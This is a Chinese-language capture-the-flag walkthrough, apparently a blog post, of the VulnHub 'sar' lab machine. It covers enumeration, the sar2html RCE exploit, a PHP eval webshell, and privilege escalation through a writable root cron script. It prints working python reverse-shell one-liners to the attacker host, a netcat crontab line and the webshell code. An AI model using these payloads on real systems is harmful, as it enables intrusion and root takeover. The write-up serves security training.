WP:靶场sar

WP:靶场sar

靶场地址:https://www.vulnhub.com/entry/sar-1,425/#download

1、信息收集

namp -sV 192.168.2.0/24

image-20220801153001384

发现只开启里一个80端口,http访问查看

image-20220801153244563

尝试使用目录扫描,查看有哪些目录文件

使用kali自带的工具dirbuster,发现扫描太慢了,而且字典还不全,这里就换成dirb(或dirscan)

dirbuster

img

dirb http://192.168.2.105

image-20220801204407238

2、收集漏洞

进入扫描结果带入到URL中查看,发现这是一个文件上传页面,尝试上传一句话木马

image-20220801204849349

先尝试上传文件显示phpinfo页面,测试是否能够执行php命令,接下来使用burpsuite代理截断修改数据包

<?php phpinfo();?>

image-20220801205812076

发现回显后,无法定位到文件位置。这个方法也不知道怎么利用,所有去搜一下是否有历史版本漏洞。

searchsploit sar2html 3.2.1

从漏洞名称介绍来看,存在一个远程执行代码漏洞,这里将exp拷贝到当前漏洞

image-20220802144033945

3、利用漏洞

cp /usr/share/exploitdb/exploits/php/webapps/49344.py ./
python3 ./49344.py

image-20220802150658936

通过分析49344.py的代码,可以看到这里需要详细指定到/sar2HTML的路径下

image-20220802151440708

配置一个反弹shell

cat /etc/crontab

image-20220802151925186

尝试写入定时任务

echo "*/1 * * * * root netcat 192.168.2.106 3322 -e /bin/bash" >> /etc/crontab

发现权限不够,写不进去,那就老实的尝试直接反弹吧,一口吃个胖子还是不行的

# 攻击端
nc -lvvp 3322
# 靶机
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.106",3322));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

提升shell为交互伪终端

python3 -c "import pty;pty.spawn('/bin/bash')"

image-20220803154323805

写入一句话木马

command => pwd

image-20220802152838917

echo "<?php eval($_POST['a']);?>" > /var/www/html/test.php

image-20220802153720104

通过此目录下的phpinfo.php文件可得出,此目录解析php,但使用浏览器访问查看发现500报错

image-20220802154419089

检查上传成功的代码,发现关键词被过滤了

image-20220802160849945

这里就要想办法绕过过滤了

使用反弹shell的终端一样,echo始终会过滤变量

这里用了比较低级的方法绕过,直接使用vi进行编辑,虽然会有字符覆盖,但在控制好,还是能写进去的

image-20220803155010109

再去网页访问看一下,已经能200正常访问了

image-20220803155103016

接下来使用webshell工具连接即可

image-20220804153554436

提权

虚拟终端连接上去,看一下定时任务内容,发现里面执行/var/www/html/finally.sh的文件,查找一下这个文件

image-20220804154424148

发现这个文件内容是执行/var/www/html/write.sh,有点套娃啊

image-20220804154639819

再看一下write.sh内容,并看一下这两个文件权限如何,是否能写入内容

image-20220804154816898

通过ls -l查看后发现,我们当前可以写入到write.sh的文件内,写入一个反弹shell,这样就会以root执行。

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.106",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image-20220804161700798

kali使用监听nc -lvvp 7777,静等反弹过来即可

image-20220804161817232

再升级交互shell

python3 -c "import pty;pty.spawn('/bin/bash')"

image-20220804162008075

这时就有权限拿flag了

image-20220804162837136

posted @ 2023-12-04 22:02  DumpInfou  阅读(37)  评论(0编辑  收藏  举报